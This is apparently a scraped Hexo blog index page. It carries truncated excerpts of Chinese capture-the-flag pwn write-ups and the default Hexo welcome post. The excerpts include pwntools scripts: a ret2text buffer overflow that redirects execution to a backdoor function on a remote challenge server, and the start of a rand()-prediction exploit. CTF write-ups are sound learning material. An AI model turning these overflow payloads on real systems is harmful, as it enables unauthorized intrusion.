AndreiLavig

this is an elephant

AstrobotI am astrobotastrobotI am astrobot

复现week1 ret2text覆盖后直接接后门函数 12345678910111213from pwn import *\#p=process('./ret2text')p=remote('node5.buuoj.cn',26422)backdoor=0x4011FB payload=b'a'*(0x20+8)+p64(backdoor)p.sendlineafter('Show me your magic',payload)p.interactive() %5D(image.png).png) ezshellcode可直接写入shellcode，但要 ...

pwn_write_upnetcat直接nc即可,无需多言 random 第一个read()向buf中读入80个字节，只能覆盖掉原来的rbp，不能劫持返回地址 v3为随机生成数，从键盘键入v1的值与v3比较，相等即可返回到gets()，劫持返回地址到win()中的片段 12345678910111213141516171819202122232425262728293031323334353637383940414243from pwn import *from ctypes import *context(os='linux',arch='amd64',log_level='debug')\#p=process('./pwn1')p=remote('boom.01130328.xyz',32942)libc=cdll.LoadLibrary('libc.so.6')win=0x4012f2name=b'a'p.sendlineaf ...

O Father O Satan Sun

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick StartCreate a new post1$ hexo new "My New Post" More info: Writing Run server1$ hexo server More info: Server Generate static files1$ hexo generate More info: Generating Deploy to remote sites1$ hexo deploy More info: Deployment